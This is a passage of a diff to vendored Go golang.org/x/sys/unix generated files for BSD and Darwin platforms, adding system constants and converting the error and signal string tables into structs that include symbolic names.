-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EPWROFF", "device power is off"},
-+ {83, "EDEVERR", "device error"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EBADEXEC", "bad executable (or shared library)"},
-+ {86, "EBADARCH", "bad CPU type in executable"},
-+ {87, "ESHLIBVERS", "shared library version mismatch"},
-+ {88, "EBADMACHO", "malformed Mach-o file"},
-+ {89, "ECANCELED", "operation canceled"},
-+ {90, "EIDRM", "identifier removed"},
-+ {91, "ENOMSG", "no message of desired type"},
-+ {92, "EILSEQ", "illegal byte sequence"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EBADMSG", "bad message"},
-+ {95, "EMULTIHOP", "EMULTIHOP (Reserved)"},
-+ {96, "ENODATA", "no message available on STREAM"},
-+ {97, "ENOLINK", "ENOLINK (Reserved)"},
-+ {98, "ENOSR", "no STREAM resources"},
-+ {99, "ENOSTR", "not a STREAM"},
-+ {100, "EPROTO", "protocol error"},
-+ {101, "ETIME", "STREAM ioctl timeout"},
-+ {102, "EOPNOTSUPP", "operation not supported on socket"},
-+ {103, "ENOPOLICY", "policy not found"},
-+ {104, "ENOTRECOVERABLE", "state not recoverable"},
-+ {105, "EOWNERDEAD", "previous owner died"},
-+ {106, "EQFULL", "interface output queue is full"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_dragonfly_amd64.go
-index 8f40598b..61304717 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_dragonfly_amd64.go
-@@ -3,7 +3,7 @@
-
- // +build amd64,dragonfly
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -168,6 +168,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DLT_A429 = 0xb8
-@@ -353,6 +355,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -835,6 +838,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -873,6 +880,40 @@ const (
- MAP_VPAGETABLE = 0x2000
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_AUTOMOUNTED = 0x20
-+ MNT_CMDFLAGS = 0xf0000
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_EXKERB = 0x800
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x20000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_IGNORE = 0x800000
-+ MNT_LAZY = 0x4
-+ MNT_LOCAL = 0x1000
-+ MNT_NOATIME = 0x10000000
-+ MNT_NOCLUSTERR = 0x40000000
-+ MNT_NOCLUSTERW = 0x80000000
-+ MNT_NODEV = 0x10
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOSYMFOLLOW = 0x400000
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x200000
-+ MNT_SUIDDIR = 0x100000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_TRIM = 0x1000000
-+ MNT_UPDATE = 0x10000
-+ MNT_USER = 0x8000
-+ MNT_VISFLAGMASK = 0xf1f0ffff
-+ MNT_WAIT = 0x1
- MSG_CMSG_CLOEXEC = 0x1000
- MSG_CTRUNC = 0x20
- MSG_DONTROUTE = 0x4
-@@ -897,6 +938,7 @@ const (
- NET_RT_FLAGS = 0x2
- NET_RT_IFLIST = 0x3
- NET_RT_MAXID = 0x4
-+ NFDBITS = 0x40
- NOFLSH = 0x80000000
- NOKERNINFO = 0x2000000
- NOTE_ATTRIB = 0x8
-@@ -973,7 +1015,10 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-@@ -1158,6 +1203,36 @@ const (
- SO_TIMESTAMP = 0x400
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDB = 0x9000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFWHT = 0xe000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TCIFLUSH = 0x1
- TCIOFF = 0x3
- TCIOFLUSH = 0x3
-@@ -1427,142 +1502,150 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "operation canceled",
-- 86: "illegal byte sequence",
-- 87: "attribute not found",
-- 88: "programming error",
-- 89: "bad message",
-- 90: "multihop attempted",
-- 91: "link has been severed",
-- 92: "protocol error",
-- 93: "no medium found",
-- 94: "unknown error: 94",
-- 95: "unknown error: 95",
-- 96: "unknown error: 96",
-- 97: "unknown error: 97",
-- 98: "unknown error: 98",
-- 99: "unknown error: 99",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EWOULDBLOCK", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "ECANCELED", "operation canceled"},
-+ {86, "EILSEQ", "illegal byte sequence"},
-+ {87, "ENOATTR", "attribute not found"},
-+ {88, "EDOOFUS", "programming error"},
-+ {89, "EBADMSG", "bad message"},
-+ {90, "EMULTIHOP", "multihop attempted"},
-+ {91, "ENOLINK", "link has been severed"},
-+ {92, "EPROTO", "protocol error"},
-+ {93, "ENOMEDIUM", "no medium found"},
-+ {94, "EUNUSED94", "unknown error: 94"},
-+ {95, "EUNUSED95", "unknown error: 95"},
-+ {96, "EUNUSED96", "unknown error: 96"},
-+ {97, "EUNUSED97", "unknown error: 97"},
-+ {98, "EUNUSED98", "unknown error: 98"},
-+ {99, "ELAST", "unknown error: 99"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "thread Scheduler",
-- 33: "checkPoint",
-- 34: "checkPointExit",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "thread Scheduler"},
-+ {33, "SIGCKPT", "checkPoint"},
-+ {34, "SIGCKPTEXIT", "checkPointExit"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_freebsd_386.go b/vendor/golang.org/x/sys/unix/zerrors_freebsd_386.go
-index 1d3eec44..84824587 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_freebsd_386.go
-@@ -3,7 +3,7 @@
-
- // +build 386,freebsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m32 _const.go
-
- package unix
-@@ -351,8 +351,26 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0x18
- CTL_NET = 0x4
-+ DIOCGATTR = 0xc144648e
-+ DIOCGDELETE = 0x80106488
-+ DIOCGFLUSH = 0x20006487
-+ DIOCGFRONTSTUFF = 0x40086486
-+ DIOCGFWHEADS = 0x40046483
-+ DIOCGFWSECTORS = 0x40046482
-+ DIOCGIDENT = 0x41006489
-+ DIOCGMEDIASIZE = 0x40086481
-+ DIOCGPHYSPATH = 0x4400648d
-+ DIOCGPROVIDERNAME = 0x4400648a
-+ DIOCGSECTORSIZE = 0x40046480
-+ DIOCGSTRIPEOFFSET = 0x4008648c
-+ DIOCGSTRIPESIZE = 0x4008648b
-+ DIOCSKERNELDUMP = 0x804c6490
-+ DIOCSKERNELDUMP_FREEBSD11 = 0x80046485
-+ DIOCZONECMD = 0xc06c648f
- DLT_A429 = 0xb8
- DLT_A653_ICM = 0xb9
- DLT_AIRONET_HEADER = 0x78
-@@ -377,11 +395,14 @@ const (
- DLT_CHAOS = 0x5
- DLT_CHDLC = 0x68
- DLT_CISCO_IOS = 0x76
-+ DLT_CLASS_NETBSD_RAWAF = 0x2240000
- DLT_C_HDLC = 0x68
- DLT_C_HDLC_WITH_DIR = 0xcd
- DLT_DBUS = 0xe7
- DLT_DECT = 0xdd
-+ DLT_DISPLAYPORT_AUX = 0x113
- DLT_DOCSIS = 0x8f
-+ DLT_DOCSIS31_XRA31 = 0x111
- DLT_DVB_CI = 0xeb
- DLT_ECONET = 0x73
- DLT_EN10MB = 0x1
-@@ -391,6 +412,7 @@ const (
- DLT_ERF = 0xc5
- DLT_ERF_ETH = 0xaf
- DLT_ERF_POS = 0xb0
-+ DLT_ETHERNET_MPACKET = 0x112
- DLT_FC_2 = 0xe0
- DLT_FC_2_WITH_FRAME_DELIMS = 0xe1
- DLT_FDDI = 0xa
-@@ -404,7 +426,6 @@ const (
- DLT_GPRS_LLC = 0xa9
- DLT_GSMTAP_ABIS = 0xda
- DLT_GSMTAP_UM = 0xd9
-- DLT_HHDLC = 0x79
- DLT_IBM_SN = 0x92
- DLT_IBM_SP = 0x91
- DLT_IEEE802 = 0x6
-@@ -427,6 +448,7 @@ const (
- DLT_IPV4 = 0xe4
- DLT_IPV6 = 0xe5
- DLT_IP_OVER_FC = 0x7a
-+ DLT_ISO_14443 = 0x108
- DLT_JUNIPER_ATM1 = 0x89
- DLT_JUNIPER_ATM2 = 0x87
- DLT_JUNIPER_ATM_CEMIC = 0xee
-@@ -459,8 +481,9 @@ const (
- DLT_LINUX_PPP_WITHDIRECTION = 0xa6
- DLT_LINUX_SLL = 0x71
- DLT_LOOP = 0x6c
-+ DLT_LORATAP = 0x10e
- DLT_LTALK = 0x72
-- DLT_MATCHING_MAX = 0x104
-+ DLT_MATCHING_MAX = 0x113
- DLT_MATCHING_MIN = 0x68
- DLT_MFR = 0xb6
- DLT_MOST = 0xd3
-@@ -476,14 +499,16 @@ const (
- DLT_NFC_LLCP = 0xf5
- DLT_NFLOG = 0xef
- DLT_NG40 = 0xf4
-+ DLT_NORDIC_BLE = 0x110
- DLT_NULL = 0x0
-+ DLT_OPENFLOW = 0x10b
- DLT_PCI_EXP = 0x7d
- DLT_PFLOG = 0x75
- DLT_PFSYNC = 0x79
- DLT_PKTAP = 0x102
- DLT_PPI = 0xc0
- DLT_PPP = 0x9
-- DLT_PPP_BSDOS = 0x10
-+ DLT_PPP_BSDOS = 0xe
- DLT_PPP_ETHER = 0x33
- DLT_PPP_PPPD = 0xa6
- DLT_PPP_SERIAL = 0x32
-@@ -494,19 +519,25 @@ const (
- DLT_PRONET = 0x4
- DLT_RAIF1 = 0xc6
- DLT_RAW = 0xc
-+ DLT_RDS = 0x109
-+ DLT_REDBACK_SMARTEDGE = 0x20
- DLT_RIO = 0x7c
- DLT_RTAC_SERIAL = 0xfa
- DLT_SCCP = 0x8e
- DLT_SCTP = 0xf8
-+ DLT_SDLC = 0x10c
- DLT_SITA = 0xc4
- DLT_SLIP = 0x8
-- DLT_SLIP_BSDOS = 0xf
-+ DLT_SLIP_BSDOS = 0xd
- DLT_STANAG_5066_D_PDU = 0xed
- DLT_SUNATM = 0x7b
- DLT_SYMANTEC_FIREWALL = 0x63
-+ DLT_TI_LLN_SNIFFER = 0x10d
- DLT_TZSP = 0x80
- DLT_USB = 0xba
- DLT_USBPCAP = 0xf9
-+ DLT_USB_DARWIN = 0x10a
-+ DLT_USB_FREEBSD = 0xba
- DLT_USB_LINUX = 0xbd
- DLT_USB_LINUX_MMAPPED = 0xdc
- DLT_USER0 = 0x93
-@@ -525,10 +556,14 @@ const (
- DLT_USER7 = 0x9a
- DLT_USER8 = 0x9b
- DLT_USER9 = 0x9c
-+ DLT_VSOCK = 0x10f
-+ DLT_WATTSTOPPER_DLM = 0x107
- DLT_WIHART = 0xdf
- DLT_WIRESHARK_UPPER_PDU = 0xfc
- DLT_X2E_SERIAL = 0xd5
- DLT_X2E_XORAYA = 0xd6
-+ DLT_ZWAVE_R1_R2 = 0x105
-+ DLT_ZWAVE_R3 = 0x106
- DT_BLK = 0x6
- DT_CHR = 0x2
- DT_DIR = 0x4
-@@ -546,6 +581,7 @@ const (
- ECHONL = 0x10
- ECHOPRT = 0x20
- EVFILT_AIO = -0x3
-+ EVFILT_EMPTY = -0xd
- EVFILT_FS = -0x9
- EVFILT_LIO = -0xa
- EVFILT_PROC = -0x5
-@@ -553,11 +589,12 @@ const (
- EVFILT_READ = -0x1
- EVFILT_SENDFILE = -0xc
- EVFILT_SIGNAL = -0x6
-- EVFILT_SYSCOUNT = 0xc
-+ EVFILT_SYSCOUNT = 0xd
- EVFILT_TIMER = -0x7
- EVFILT_USER = -0xb
- EVFILT_VNODE = -0x4
- EVFILT_WRITE = -0x2
-+ EVNAMEMAP_NAME_SIZE = 0x40
- EV_ADD = 0x1
- EV_CLEAR = 0x20
- EV_DELETE = 0x2
-@@ -574,6 +611,7 @@ const (
- EV_RECEIPT = 0x40
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_MAXNAMELEN = 0xff
- EXTATTR_NAMESPACE_EMPTY = 0x0
- EXTATTR_NAMESPACE_SYSTEM = 0x2
- EXTATTR_NAMESPACE_USER = 0x1
-@@ -608,12 +646,14 @@ const (
- F_UNLCKSYS = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
- IEXTEN = 0x400
- IFAN_ARRIVAL = 0x0
- IFAN_DEPARTURE = 0x1
-+ IFCAP_WOL_MAGIC = 0x2000
- IFF_ALLMULTI = 0x200
- IFF_ALTPHYS = 0x4000
- IFF_BROADCAST = 0x2
-@@ -630,6 +670,7 @@ const (
- IFF_MONITOR = 0x40000
- IFF_MULTICAST = 0x8000
- IFF_NOARP = 0x80
-+ IFF_NOGROUP = 0x800000
- IFF_OACTIVE = 0x400
- IFF_POINTOPOINT = 0x10
- IFF_PPROMISC = 0x20000
-@@ -804,6 +845,7 @@ const (
- IPV6_DSTOPTS = 0x32
- IPV6_FLOWID = 0x43
- IPV6_FLOWINFO_MASK = 0xffffff0f
-+ IPV6_FLOWLABEL_LEN = 0x14
- IPV6_FLOWLABEL_MASK = 0xffff0f00
- IPV6_FLOWTYPE = 0x44
- IPV6_FRAGTTL = 0x78
-@@ -824,13 +866,13 @@ const (
- IPV6_MAX_GROUP_SRC_FILTER = 0x200
- IPV6_MAX_MEMBERSHIPS = 0xfff
- IPV6_MAX_SOCK_SRC_FILTER = 0x80
-- IPV6_MIN_MEMBERSHIPS = 0x1f
- IPV6_MMTU = 0x500
- IPV6_MSFILTER = 0x4a
- IPV6_MULTICAST_HOPS = 0xa
- IPV6_MULTICAST_IF = 0x9
- IPV6_MULTICAST_LOOP = 0xb
- IPV6_NEXTHOP = 0x30
-+ IPV6_ORIGDSTADDR = 0x48
- IPV6_PATHMTU = 0x2c
- IPV6_PKTINFO = 0x2e
- IPV6_PORTRANGE = 0xe
-@@ -842,6 +884,7 @@ const (
- IPV6_RECVFLOWID = 0x46
- IPV6_RECVHOPLIMIT = 0x25
- IPV6_RECVHOPOPTS = 0x27
-+ IPV6_RECVORIGDSTADDR = 0x48
- IPV6_RECVPATHMTU = 0x2b
- IPV6_RECVPKTINFO = 0x24
- IPV6_RECVRSSBUCKETID = 0x47
-@@ -902,10 +945,8 @@ const (
- IP_MAX_MEMBERSHIPS = 0xfff
- IP_MAX_SOCK_MUTE_FILTER = 0x80
- IP_MAX_SOCK_SRC_FILTER = 0x80
-- IP_MAX_SOURCE_FILTER = 0x400
- IP_MF = 0x2000
- IP_MINTTL = 0x42
-- IP_MIN_MEMBERSHIPS = 0x1f
- IP_MSFILTER = 0x4a
- IP_MSS = 0x240
- IP_MULTICAST_IF = 0x9
-@@ -915,6 +956,7 @@ const (
- IP_OFFMASK = 0x1fff
- IP_ONESBCAST = 0x17
- IP_OPTIONS = 0x1
-+ IP_ORIGDSTADDR = 0x1b
- IP_PORTRANGE = 0x13
- IP_PORTRANGE_DEFAULT = 0x0
- IP_PORTRANGE_HIGH = 0x1
-@@ -923,6 +965,7 @@ const (
- IP_RECVFLOWID = 0x5d
- IP_RECVIF = 0x14
- IP_RECVOPTS = 0x5
-+ IP_RECVORIGDSTADDR = 0x1b
- IP_RECVRETOPTS = 0x6
- IP_RECVRSSBUCKETID = 0x5e
- IP_RECVTOS = 0x44
-@@ -944,6 +987,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -968,6 +1015,7 @@ const (
- MAP_EXCL = 0x4000
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
